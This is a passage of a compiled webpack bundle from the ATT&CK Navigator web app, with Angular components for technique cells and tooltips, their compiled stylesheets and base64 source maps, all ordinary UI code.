VpZ2h0OiAwO1xuICAgIHZlcnRpY2FsLWFsaWduOiBiYXNlbGluZTtcbiAgICBib3R0b206IC0uNWVtO1xufSJdfQ== */" + +/***/ }), + +/***/ "./src/app/matrix/technique-cell/technique-cell.component.ts": +/*!*******************************************************************!*\ + !*** ./src/app/matrix/technique-cell/technique-cell.component.ts ***! + \*******************************************************************/ +/*! exports provided: TechniqueCellComponent, TechniqueEvent */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +__webpack_require__.r(__webpack_exports__); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "TechniqueCellComponent", function() { return TechniqueCellComponent; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "TechniqueEvent", function() { return TechniqueEvent; }); +/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js"); +/* harmony import */ var _data_service__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../../data.service */ "./src/app/data.service.ts"); +/* harmony import */ var _viewmodels_service__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../../viewmodels.service */ "./src/app/viewmodels.service.ts"); +/* harmony import */ var _config_service__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ../../config.service */ "./src/app/config.service.ts"); +var __decorate = (undefined && undefined.__decorate) || function (decorators, target, key, desc) { + var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; + if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); + else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; + return c > 3 && r && Object.defineProperty(target, key, r), r; +}; +var __metadata = (undefined && undefined.__metadata) || function (k, v) { + if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); +}; + + + + +var TechniqueCellComponent = /** @class */ (function () { + function TechniqueCellComponent(configService) { + this.configService = configService; + this.highlight = new _angular_core__WEBPACK_IMPORTED_MODULE_0__["EventEmitter"](); // emit with the highlighted technique, or null to unhighlight + this.unhighlight = new _angular_core__WEBPACK_IMPORTED_MODULE_0__["EventEmitter"](); + this.leftclick = new _angular_core__WEBPACK_IMPORTED_MODULE_0__["EventEmitter"](); // emit with the selected technique and the modifier keys + this.showContextmenu = false; + } + Object.defineProperty(TechniqueCellComponent.prototype, "showTooltip", { + get: function () { + if (this.showContextmenu) + return false; + if (!this.viewModel.highlightedTechnique) + return false; + return (this.viewModel.highlightedTechnique.id == this.technique.id && this.viewModel.highlightedTactic.id == this.tactic.id); + }, + enumerable: true, + configurable: true + }); + Object.defineProperty(TechniqueCellComponent.prototype, "isHighlighted", { + get: function () { + if (this.viewModel.highlightedTactic) { + if (this.viewModel.selectTechniquesAcrossTactics) { + if (this.viewModel.selectSubtechniquesWithParent) { + var compareTo = this.viewModel.highlightedTechnique; + if (compareTo.isSubtechnique) + compareTo = compareTo.parent; + var compare = this.technique; + if (compare.isSubtechnique) + compare = compare.parent; + if (compare.attackID == compareTo.attackID) + return true; + } + else if (this.viewModel.highlightedTechnique.id == this.technique.id) { + return true; + } + } + else if (this.viewModel.highlightedTactic.id == this.tactic.id) { + if (this.viewModel.selectSubtechniquesWithParent) { + var compareTo = this.viewModel.highlightedTechnique; + if (compareTo.isSubtechnique) + compareTo = compareTo.parent; + var compare = this.technique; + if (compare.isSubtechnique) + compare = compare.parent; + if (compare.attackID == compareTo.attackID) + return true; + } + else if (this.viewModel.highlightedTechnique.id == this.technique.id) { + return true; + } + } + } + return this.showContextmenu; + }, + enumerable: true, + configurable: true + }); + TechniqueCellComponent.prototype.ngOnInit = function () { + }; + // count number of annotated sub-techniques on this technique + TechniqueCellComponent.prototype.annotatedSubtechniques = function () { + var annotatedSubs = []; + for (var _i = 0, _a = this.technique.subtechniques; _i < _a.length; _i++) { + var s = _a[_i]; + var subVM = this.viewModel.getTechniqueVM(s, this.tactic); + if (subVM.annotated()) + annotatedSubs.push(s); + } + return this.applyControls(annotatedSubs, this.tactic).length; + }; + // sort and filter techniques + TechniqueCellComponent.prototype.applyControls = function (techniques, tactic) { + return this.viewModel.applyControls(techniques, tactic, this.matrix); + }; + // events to pass to parent component + TechniqueCellComponent.prototype.onMouseEnter = function () { + this.highlight.emit(); + }; + TechniqueCellComponent.prototype.onMouseLeave = function () { + this.unhighlight.emit(); + }; + TechniqueCellComponent.prototype.onLeftClick = function (event) { + if (this.configService.getFeature("selecting_techniques")) + this.leftclick.emit({ + "technique": this.technique, + // modifier keys + "shift": event.shiftKey, + "ctrl": event.ctrlKey, + "meta": event.metaKey, + // position of event on page + "x": event.pageX, + "y": event.pageY + }); + else + this.onRightClick(event); + }; + TechniqueCellComponent.prototype.onRightClick = function (event) { + this.showContextmenu = true; + }; + /** + * Return css classes for a technique + * @param {technique} technique the technique to get the class of + * @param {boolean} mini is it the minitable? + * @return {string} the classes the technique should currently have + */ + TechniqueCellComponent.prototype.getClass = function () { + var theclass = 'link noselect cell'; + if (this.viewModel.isTechniqueSelected(this.technique, this.tactic)) + theclass += " editing"; + if (this.isHighlighted) { //open context menu always keeps highlight even if the mouse has moved elsewhere + theclass += " highlight"; + } + // classes added by layout config + if (this.viewModel.layout.showID) + theclass += " showID"; + if (this.viewModel.layout.showName) + theclass += " showName"; + theclass += " " + this.viewModel.layout.layout; + // classes according to annotations + if (this.viewModel.getTechniqueVM(this.technique, this.tactic).comment.length > 0) + theclass += " commented"; + if (this.getTechniqueBackground()) + theclass += " colored"; + if (!this.viewModel.getTechniqueVM(this.technique, this.tactic).enabled) + theclass += " disabled"; + // classes by annotated sub-techniques + if (!this.annotatedSubtechniques()) + theclass += " unannotated"; + return theclass; + }; + /** + * get the technique background style for ngstyle + * @param technique technique + * @return background object + */ + TechniqueCellComponent.prototype.getTechniqueBackground = function () { + var tvm = this.viewModel.getTechniqueVM(this.technique, this.tactic); + // don't display if disabled or highlighted + if (!tvm.enabled || this.isHighlighted) + return null; + if (tvm.color) + return { "background": tvm.color }; + if (tvm.score) + return { "background": tvm.scoreColor }; + // return tvm.enabled && tvm.score && !tvm.color && !(this.viewModel.highlightedTechnique && this.viewModel.highlightedTechnique.technique_id == technique.technique_id) + }; + /** + * Get most readable text color for the given technique + * @param technique the technique to get the text color for + * @param antihighlight boolean, true if the column is not selected. + * @return black, white, or gray, depending on technique and column state + */ + TechniqueCellComponent.prototype.getTechniqueTextColor = function () { + var tvm = this.viewModel.getTechniqueVM(this.technique, this.tactic); + if (!tvm.enabled) + return "#aaaaaa"; + // don't display if disabled or highlighted + // if (this.viewModel.highlightedTechnique && this.viewModel.highlightedTechnique.technique_tactic_union_id == this.technique.technique_tactic_union_id) return "black" + if (tvm.color) + return tinycolor.mostReadable(tvm.color, ["white", "black"]); + if (tvm.score && !isNaN(Number(tvm.score))) + return tinycolor.mostReadable(tvm.scoreColor, ["white", "black"]); + if (this.viewModel.hasSelectedTactic() && !this.viewModel.isTacticSelected(this.tactic)) + return "#aaaaaa"; + else + return "black"; + }; + TechniqueCellComponent.ctorParameters = function () { return [ + { type: _config_service__WEBPACK_IMPORTED_MODULE_3__["ConfigService"] } + ]; }; + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Input"])(), + __metadata("design:type", _data_service__WEBPACK_IMPORTED_MODULE_1__["Tactic"]) + ], TechniqueCellComponent.prototype, "tactic", void 0); + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Input"])(), + __metadata("design:type", _data_service__WEBPACK_IMPORTED_MODULE_1__["Technique"]) + ], TechniqueCellComponent.prototype, "technique", void 0); + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Input"])(), + __metadata("design:type", _viewmodels_service__WEBPACK_IMPORTED_MODULE_2__["ViewModel"]) + ], TechniqueCellComponent.prototype, "viewModel", void 0); + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Input"])(), + __metadata("design:type", _data_service__WEBPACK_IMPORTED_MODULE_1__["Matrix"]) + ], TechniqueCellComponent.prototype, "matrix", void 0); + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Output"])(), + __metadata("design:type", Object) + ], TechniqueCellComponent.prototype, "highlight", void 0); + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Output"])(), + __metadata("design:type", Object) + ], TechniqueCellComponent.prototype, "unhighlight", void 0); + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Output"])(), + __metadata("design:type", Object) + ], TechniqueCellComponent.prototype, "leftclick", void 0); + TechniqueCellComponent = __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Component"])({ + selector: 'technique-cell', + template: __webpack_require__(/*! raw-loader!./technique-cell.component.html */ "./node_modules/raw-loader/index.js!./src/app/matrix/technique-cell/technique-cell.component.html"), + styles: [__webpack_require__(/*! ./technique-cell.component.scss */ "./src/app/matrix/technique-cell/technique-cell.component.scss")] + }), + __metadata("design:paramtypes", [_config_service__WEBPACK_IMPORTED_MODULE_3__["ConfigService"]]) + ], TechniqueCellComponent); + return TechniqueCellComponent; +}()); + +var TechniqueEvent = /** @class */ (function () { + function TechniqueEvent(event, technique) { + this.technique = technique; + this.event = event; + } + TechniqueEvent.ctorParameters = function () { return [ + null, + null + ]; }; + return TechniqueEvent; +}()); + + + +/***/ }), + +/***/ "./src/app/matrix/technique-cell/tooltip/tooltip.component.scss": +/*!**********************************************************************!*\ + !*** ./src/app/matrix/technique-cell/tooltip/tooltip.component.scss ***! + \**********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = "@charset \"UTF-8\";\n.tooltip {\n position: absolute;\n padding: 6px;\n z-index: 100;\n min-width: 150px;\n max-width: 300px;\n text-align: left;\n white-space: normal;\n border-radius: 3px;\n background: rgba(80, 80, 80, 0.75);\n font-size: 8pt;\n color: white;\n}\n.tooltip:not(.top) {\n top: 0;\n}\n.tooltip.bottom.right {\n /* ------------------\n * | |\n * | X XXXX |\n * | XXXX |\n * ------------------\n */\n -webkit-transform: translateX(10px);\n transform: translateX(10px);\n}\n.tooltip.bottom.right:before {\n left: -9.5px;\n -webkit-transform: rotate(90deg);\n transform: rotate(90deg);\n}\n.tooltip.bottom.left {\n /* ------------------\n * | |\n * | XXXX X |\n * | XXXX |\n * ------------------\n */\n -webkit-transform: translateX(-10px);\n transform: translateX(-10px);\n right: 100%;\n}\n.tooltip.bottom.left:before {\n right: -9px;\n -webkit-transform: rotate(-90deg);\n transform: rotate(-90deg);\n}\n.tooltip.top.right {\n /* ------------------\n * | XXXX |\n * | XXXX |\n * | X |\n * | |\n * ------------------\n */\n -webkit-transform: translateY(-10px);\n transform: translateY(-10px);\n bottom: 100%;\n left: 0;\n}\n.tooltip.top.right:before {\n bottom: -9px;\n}\n.tooltip.top.left {\n /* ------------------\n * | XXXX |\n * | XXXX |\n * | X |\n * | |\n * ------------------\n */\n -webkit-transform: translateY(-10px);\n transform: translateY(-10px);\n bottom: 100%;\n right: 0;\n}\n.tooltip.top.left:before {\n bottom: -9px;\n right: 6px;\n}\n.tooltip:before {\n position: absolute;\n font-size: 12px;\n content: \"▼\";\n color: rgba(80, 80, 80, 0.75);\n}\n.tooltip table {\n width: 100%;\n border-collapse: collapse;\n}\n.tooltip table td {\n padding: 3px;\n vertical-align: top;\n}\n.tooltip table td:first-child {\n white-space: nowrap;\n}\n.tooltip table tr:nth-child(2) td {\n border-top: 1px solid white;\n}\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInNyYy9hcHAvbWF0cml4L3RlY2huaXF1ZS1jZWxsL3Rvb2x0aXAvdG9vbHRpcC5jb21wb25lbnQuc2NzcyIsIi9ob21lL0xPTi9iZXJuYWxvL2dpdC9hdHRhY2stbmF2aWdhdG9yL25hdi1hcHAvc3JjL2FwcC9tYXRyaXgvdGVjaG5pcXVlLWNlbGwvdG9vbHRpcC90b29sdGlwLmNvbXBvbmVudC5zY3NzIiwiL2hvbWUvTE9OL2Jlcm5hbG8vZ2l0L2F0dGFjay1uYXZpZ2F0b3IvbmF2LWFwcC9zcmMvYXBwL21hdHJpeC90ZWNobmlxdWUtY2VsbC9jZWxsLXBvcG92ZXIuc2NzcyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFBQSxnQkFBZ0I7QUNHaEI7RUNGSSxrQkFBQTtFQUNBLFlBQUE7RUFFQSxZQUFBO0VBQ0EsZ0JBQUE7RUFDQSxnQkFBQTtFQUNBLGdCQUFBO0VBQ0EsbUJBQUE7RUFFQSxrQkFBQTtFQUNBLGtDQUFBO0VBQ0EsY0FBQTtFQUNBLFlBQUE7QUZBSjtBRVZJO0VBQWMsTUFBQTtBRmFsQjtBRUZJO0VBQ0k7Ozs7O0lBQUE7RUFNQSxtQ0FBQTtVQUFBLDJCQUFBO0FGSVI7QUVIUTtFQUNJLFlBQUE7RUFDQSxnQ0FBQTtVQUFBLHdCQUFBO0FGS1o7QUVGSTtFQUNJOzs7OztJQUFBO0VBTUEsb0NBQUE7VUFBQSw0QkFBQTtFQUNBLFdBQUE7QUZJUjtBRUhRO0VBQ0ksV0FBQTtFQUNBLGlDQUFBO1VBQUEseUJBQUE7QUZLWjtBRUZJO0VBQ0k7Ozs7OztJQUFBO0VBT0Esb0NBQUE7VUFBQSw0QkFBQTtFQUNBLFlBQUE7RUFDQSxPQUFBO0FGSVI7QUVIUTtFQUNJLFlBQUE7QUZLWjtBRURJO0VBQ0k7Ozs7OztJQUFBO0VBT0Esb0NBQUE7VUFBQSw0QkFBQTtFQUNBLFlBQUE7RUFDQSxRQUFBO0FGR1I7QUVGUTtFQUNJLFlBQUE7RUFDQSxVQUFBO0FGSVo7QUVBSTtFQUNJLGtCQUFBO0VBQ0EsZUFBQTtFQUNBLFlBQUE7RUFDQSw2QkFBQTtBRkVSO0FDM0VJO0VBQ0ksV0FBQTtFQUNBLHlCQUFBO0FENkVSO0FDNUVRO0VBQ0ksWUFBQTtFQUNBLG1CQUFBO0FEOEVaO0FDNUVRO0VBQ0ksbUJBQUE7QUQ4RVo7QUM1RVE7RUFDSSwyQkFBQTtBRDhFWiIsImZpbGUiOiJzcmMvYXBwL21hdHJpeC90ZWNobmlxdWUtY2VsbC90b29sdGlwL3Rvb2x0aXAuY29tcG9uZW50LnNjc3MiLCJzb3VyY2VzQ29udGVudCI6WyJAY2hhcnNldCBcIlVURi04XCI7XG4udG9vbHRpcCB7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgcGFkZGluZzogNnB4O1xuICB6LWluZGV4OiAxMDA7XG4gIG1pbi13aWR0aDogMTUwcHg7XG4gIG1heC13aWR0aDogMzAwcHg7XG4gIHRleHQtYWxpZ246IGxlZnQ7XG4gIHdoaXRlLXNwYWNlOiBub3JtYWw7XG4gIGJvcmRlci1yYWRpdXM6IDNweDtcbiAgYmFja2dyb3VuZDogcmdiYSg4MCwgODAsIDgwLCAwLjc1KTtcbiAgZm9udC1zaXplOiA4cHQ7XG4gIGNvbG9yOiB3aGl0ZTtcbn1cbi50b29sdGlwOm5vdCgudG9wKSB7XG4gIHRvcDogMDtcbn1cbi50b29sdGlwLmJvdHRvbS5yaWdodCB7XG4gIC8qIC0tLS0tLS0tLS0tLS0tLS0tLVxuICAgKiB8ICAgICAgICAgICAgICAgIHxcbiAgICogfCAgICAgICBYIFhYWFggICB8XG4gICAqIHwgICAgICAgICBYWFhYICAgfFxuICAgKiAtLS0tLS0tLS0tLS0tLS0tLS1cbiAgICovXG4gIHRyYW5zZm9ybTogdHJhbnNsYXRlWCgxMHB4KTtcbn1cbi50b29sdGlwLmJvdHRvbS5yaWdodDpiZWZvcmUge1xuICBsZWZ0OiAtOS41cHg7XG4gIHRyYW5zZm9ybTogcm90YXRlKDkwZGVnKTtcbn1cbi50b29sdGlwLmJvdHRvbS5sZWZ0IHtcbiAgLyogLS0tLS0tLS0tLS0tLS0tLS0tXG4gICAqIHwgICAgICAgICAgICAgICAgfFxuICAgKiB8ICBYWFhYIFggICAgICAgIHxcbiAgICogfCAgWFhYWCAgICAgICAgICB8XG4gICAqIC0tLS0tLS0tLS0tLS0tLS0tLVxuICAgKi9cbiAgdHJhbnNmb3JtOiB0cmFuc2xhdGVYKC0xMHB4KTtcbiAgcmlnaHQ6IDEwMCU7XG59XG4udG9vbHRpcC5ib3R0b20ubGVmdDpiZWZvcmUge1xuICByaWdodDogLTlweDtcbiAgdHJhbnNmb3JtOiByb3RhdGUoLTkwZGVnKTtcbn1cbi50b29sdGlwLnRvcC5yaWdodCB7XG4gIC8qIC0tLS0tLS0tLS0tLS0tLS0tLVxuICAgKiB8ICAgICAgICBYWFhYICB8XG4gICAqIHwgICAgICAgIFhYWFggIHxcbiAgICogfCAgICAgICBYICAgICAgfFxuICAgKiB8ICAgICAgICAgICAgICB8XG4gICAqIC0tLS0tLS0tLS0tLS0tLS0tLVxuICAgKi9cbiAgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC0xMHB4KTtcbiAgYm90dG9tOiAxMDAlO1xuICBsZWZ0OiAwO1xufVxuLnRvb2x0aXAudG9wLnJpZ2h0OmJlZm9yZSB7XG4gIGJvdHRvbTogLTlweDtcbn1cbi50b29sdGlwLnRvcC5sZWZ0IHtcbiAgLyogLS0tLS0tLS0tLS0tLS0tLS0tXG4gICAqIHwgICAgWFhYWCAgICAgIHxcbiAgICogfCAgICBYWFhYICAgICAgfFxuICAgKiB8ICAgICAgIFggICAgICB8XG4gICAqIHwgICAgICAgICAgICAgIHxcbiAgICogLS0tLS0tLS0tLS0tLS0tLS0tXG4gICAqL1xuICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTEwcHgpO1xuICBib3R0b206IDEwMCU7XG4gIHJpZ2h0OiAwO1xufVxuLnRvb2x0aXAudG9wLmxlZnQ6YmVmb3JlIHtcbiAgYm90dG9tOiAtOXB4O1xuICByaWdodDogNnB4O1xufVxuLnRvb2x0aXA6YmVmb3JlIHtcbiAgcG9zaXRpb246IGFic29sdXRlO1xuICBmb250LXNpemU6IDEycHg7XG4gIGNvbnRlbnQ6IFwi4pa8XCI7XG4gIGNvbG9yOiByZ2JhKDgwLCA4MCwgODAsIDAuNzUpO1xufVxuLnRvb2x0aXAgdGFibGUge1xuICB3aWR0aDogMTAwJTtcbiAgYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTtcbn1cbi50b29sdGlwIHRhYmxlIHRkIHtcbiAgcGFkZGluZzogM3B4O1xuICB2ZXJ0aWNhbC1hbGlnbjogdG9wO1xufVxuLnRvb2x0aXAgdGFibGUgdGQ6Zmlyc3QtY2hpbGQge1xuICB3aGl0ZS1zcGFjZTogbm93cmFwO1xufVxuLnRvb2x0aXAgdGFibGUgdHI6bnRoLWNoaWxkKDIpIHRkIHtcbiAgYm9yZGVyLXRvcDogMXB4IHNvbGlkIHdoaXRlO1xufSIsIkBpbXBvcnQgXCIuLi9jZWxsLXBvcG92ZXIuc2Nzc1wiO1xuXG5cbi50b29sdGlwIHtcbiAgICBAaW5jbHVkZSBjZWxsLXBvcG92ZXIoMC43NSk7XG4gICAgdGFibGUge1xuICAgICAgICB3aWR0aDogMTAwJTtcbiAgICAgICAgYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTtcbiAgICAgICAgdGQge1xuICAgICAgICAgICAgcGFkZGluZzogM3B4O1xuICAgICAgICAgICAgdmVydGljYWwtYWxpZ246IHRvcDtcbiAgICAgICAgfVxuICAgICAgICB0ZDpmaXJzdC1jaGlsZCB7XG4gICAgICAgICAgICB3aGl0ZS1zcGFjZTogbm93cmFwO1xuICAgICAgICB9XG4gICAgICAgIHRyOm50aC1jaGlsZCgyKSB0ZCB7XG4gICAgICAgICAgICBib3JkZXItdG9wOiAxcHggc29saWQgd2hpdGU7XG4gICAgICAgIH1cbiAgICB9XG59IiwiQG1peGluIGNlbGwtcG9wb3Zlcigkb3BhY2l0eSkge1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICBwYWRkaW5nOiA2cHg7XG4gICAgJjpub3QoLnRvcCkgeyB0b3A6IDA7IH1cbiAgICB6LWluZGV4OiAxMDA7XG4gICAgbWluLXdpZHRoOiAxNTBweDtcbiAgICBtYXgtd2lkdGg6IDMwMHB4O1xuICAgIHRleHQtYWxpZ246IGxlZnQ7XG4gICAgd2hpdGUtc3BhY2U6IG5vcm1hbDtcbiAgICBcbiAgICBib3JkZXItcmFkaXVzOiAzcHg7XG4gICAgYmFja2dyb3VuZDogcmdiYSg4MCwgODAsIDgwLCAkb3BhY2l0eSk7XG4gICAgZm9udC1zaXplOiA4cHQ7XG4gICAgY29sb3I6IHdoaXRlO1xuICAgICYuYm90dG9tLnJpZ2h0IHtcbiAgICAgICAgLyogLS0tLS0tLS0tLS0tLS0tLS0tXG4gICAgICAgICAqIHwgICAgICAgICAgICAgICAgfFxuICAgICAgICAgKiB8ICAgICAgIFggWFhYWCAgIHxcbiAgICAgICAgICogfCAgICAgICAgIFhYWFggICB8XG4gICAgICAgICAqIC0tLS0tLS0tLS0tLS0tLS0tLVxuICAgICAgICAgKi9cbiAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVYKDEwcHgpO1xuICAgICAgICAmOmJlZm9yZSB7IFxuICAgICAgICAgICAgbGVmdDogLTkuNXB4O1xuICAgICAgICAgICAgdHJhbnNmb3JtOiByb3RhdGUoOTBkZWcpO1xuICAgICAgICB9XG4gICAgfVxuICAgICYuYm90dG9tLmxlZnQge1xuICAgICAgICAvKiAtLS0tLS0tLS0tLS0tLS0tLS1cbiAgICAgICAgICogfCAgICAgICAgICAgICAgICB8XG4gICAgICAgICAqIHwgIFhYWFggWCAgICAgICAgfFxuICAgICAgICAgKiB8ICBYWFhYICAgICAgICAgIHxcbiAgICAgICAgICogLS0tLS0tLS0tLS0tLS0tLS0tXG4gICAgICAgICAqL1xuICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoLTEwcHgpO1xuICAgICAgICByaWdodDogMTAwJTtcbiAgICAgICAgJjpiZWZvcmUgeyBcbiAgICAgICAgICAgIHJpZ2h0OiAtOXB4O1xuICAgICAgICAgICAgdHJhbnNmb3JtOiByb3RhdGUoLTkwZGVnKTtcbiAgICAgICAgfVxuICAgIH1cbiAgICAmLnRvcC5yaWdodCB7XG4gICAgICAgIC8qIC0tLS0tLS0tLS0tLS0tLS0tLVxuICAgICAgICAgKiB8ICAgICAgICBYWFhYICB8XG4gICAgICAgICAqIHwgICAgICAgIFhYWFggIHxcbiAgICAgICAgICogfCAgICAgICBYICAgICAgfFxuICAgICAgICAgKiB8ICAgICAgICAgICAgICB8XG4gICAgICAgICAqIC0tLS0tLS0tLS0tLS0tLS0tLVxuICAgICAgICAgKi9cbiAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC0xMHB4KTtcbiAgICAgICAgYm90dG9tOiAxMDAlO1xuICAgICAgICBsZWZ0OiAwO1xuICAgICAgICAmOmJlZm9yZSB7XG4gICAgICAgICAgICBib3R0b206IC05cHg7XG4gICAgICAgICAgICAvLyB0cmFuc2Zvcm06IHJvdGF0ZSgxODBkZWcpO1xuICAgICAgICB9XG4gICAgfVxuICAgICYudG9wLmxlZnQge1xuICAgICAgICAvKiAtLS0tLS0tLS0tLS0tLS0tLS1cbiAgICAgICAgICogfCAgICBYWFhYICAgICAgfFxuICAgICAgICAgKiB8ICAgIFhYWFggICAgICB8XG4gICAgICAgICAqIHwgICAgICAgWCAgICAgIHxcbiAgICAgICAgICogfCAgICAgICAgICAgICAgfFxuICAgICAgICAgKiAtLS0tLS0tLS0tLS0tLS0tLS1cbiAgICAgICAgICovXG4gICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtMTBweCk7XG4gICAgICAgIGJvdHRvbTogMTAwJTtcbiAgICAgICAgcmlnaHQ6IDA7XG4gICAgICAgICY6YmVmb3JlIHtcbiAgICAgICAgICAgIGJvdHRvbTogLTlweDtcbiAgICAgICAgICAgIHJpZ2h0OiA2cHg7XG4gICAgICAgICAgICAvLyB0cmFuc2Zvcm06IHJvdGF0ZSgxODBkZWcpO1xuICAgICAgICB9XG4gICAgfVxuICAgICY6YmVmb3JlIHtcbiAgICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICBmb250LXNpemU6IDEycHg7XG4gICAgICAgIGNvbnRlbnQ6ICdcXDI1QkMnO1xuICAgICAgICBjb2xvcjogcmdiYSg4MCwgODAsIDgwLCAkb3BhY2l0eSk7XG4gICAgfVxufSJdfQ== */" + +/***/ }), + +/***/ "./src/app/matrix/technique-cell/tooltip/tooltip.component.ts": +/*!********************************************************************!*\ + !*** ./src/app/matrix/technique-cell/tooltip/tooltip.component.ts ***! + \********************************************************************/ +/*! exports provided: TooltipComponent */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +__webpack_require__.r(__webpack_exports__); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "TooltipComponent", function() { return TooltipComponent; }); +/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js"); +/* harmony import */ var _data_service__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../../../data.service */ "./src/app/data.service.ts"); +/* harmony import */ var _viewmodels_service__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../../../viewmodels.service */ "./src/app/viewmodels.service.ts"); +/* harmony import */ var _cell_popover__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ../cell-popover */ "./src/app/matrix/technique-cell/cell-popover.ts"); +var __extends = (undefined && undefined.__extends) || (function () { + var extendStatics = function (d, b) { + extendStatics = Object.setPrototypeOf || + ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || + function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; }; + return extendStatics(d, b); + }; + return function (d, b) { + extendStatics(d, b); + function __() { this.constructor = d; } + d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); + }; +})(); +var __decorate = (undefined && undefined.__decorate) || function (decorators, target, key, desc) { + var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; + if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); + else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; + return c > 3 && r && Object.defineProperty(target, key, r), r; +}; +var __metadata = (undefined && undefined.__metadata) || function (k, v) { + if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); +}; + + + + +var TooltipComponent = /** @class */ (function (_super) { + __extends(TooltipComponent, _super); + function TooltipComponent(element) { + var _this = _super.call(this, element) || this; + _this.element = element; + return _this; + } + Object.defineProperty(TooltipComponent.prototype, "techniqueVM", { + get: function () { + return this.viewModel.getTechniqueVM(this.technique, this.tactic); + }, + enumerable: true, + configurable: true + }); + TooltipComponent.prototype.ngOnInit = function () { + this.placement = this.getPosition(); + }; + TooltipComponent.ctorParameters = function () { return [ + { type: _angular_core__WEBPACK_IMPORTED_MODULE_0__["ElementRef"] } + ]; }; + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Input"])(), + __metadata("design:type", _data_service__WEBPACK_IMPORTED_MODULE_1__["Technique"]) + ], TooltipComponent.prototype, "technique", void 0); + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Input"])(), + __metadata("design:type", _data_service__WEBPACK_IMPORTED_MODULE_1__["Tactic"]) + ], TooltipComponent.prototype, "tactic", void 0); + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Input"])(), + __metadata("design:type", _viewmodels_service__WEBPACK_IMPORTED_MODULE_2__["ViewModel"]) + ], TooltipComponent.prototype, "viewModel", void 0); + TooltipComponent = __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Component"])({ + selector: 'app-tooltip', + template: __webpack_require__(/*! raw-loader!./tooltip.component.html */ "./node_modules/raw-loader/index.js!./src/app/matrix/technique-cell/tooltip/tooltip.component.html"), + styles: [__webpack_require__(/*! ./tooltip.component.scss */ "./src/app/matrix/technique-cell/tooltip/tooltip.component.scss")] + }), + __metadata("design:paramtypes", [_angular_core__WEBPACK_IMPORTED_MODULE_0__["ElementRef"]]) + ], TooltipComponent); + return TooltipComponent; +}(_cell_popover__WEBPACK_IMPORTED_MODULE_3__["CellPopover"])); + + + +/***/ }), + +/***/ "./src/app/multiselect/multiselect.component.scss": +/*!********************************************************!*\ + !*** ./src/app/multiselect/multiselect.component.scss ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = "/**\n * Colors used across the Navigator. Shared by the ATT&CK Website.\n * For each color-pair:\n * - \"color\" refers to the color itself\n * - \"on-color\" refers to the most readable text-color to appear on top of the color. \n * Note: some colors don't define on-colors. This is because, for these colors, they aren't intended to\n * appear with inner content. For example, \"link\" is only intended to be used for link text, which inherently\n * cannot have inner text.\n */\n.multiselect .stixType h1 {\n font-size: 14px;\n background: #f1f1f1;\n padding: 5px;\n margin: 0;\n}\n.multiselect .stixType .objects {\n height: 150px;\n overflow-y: 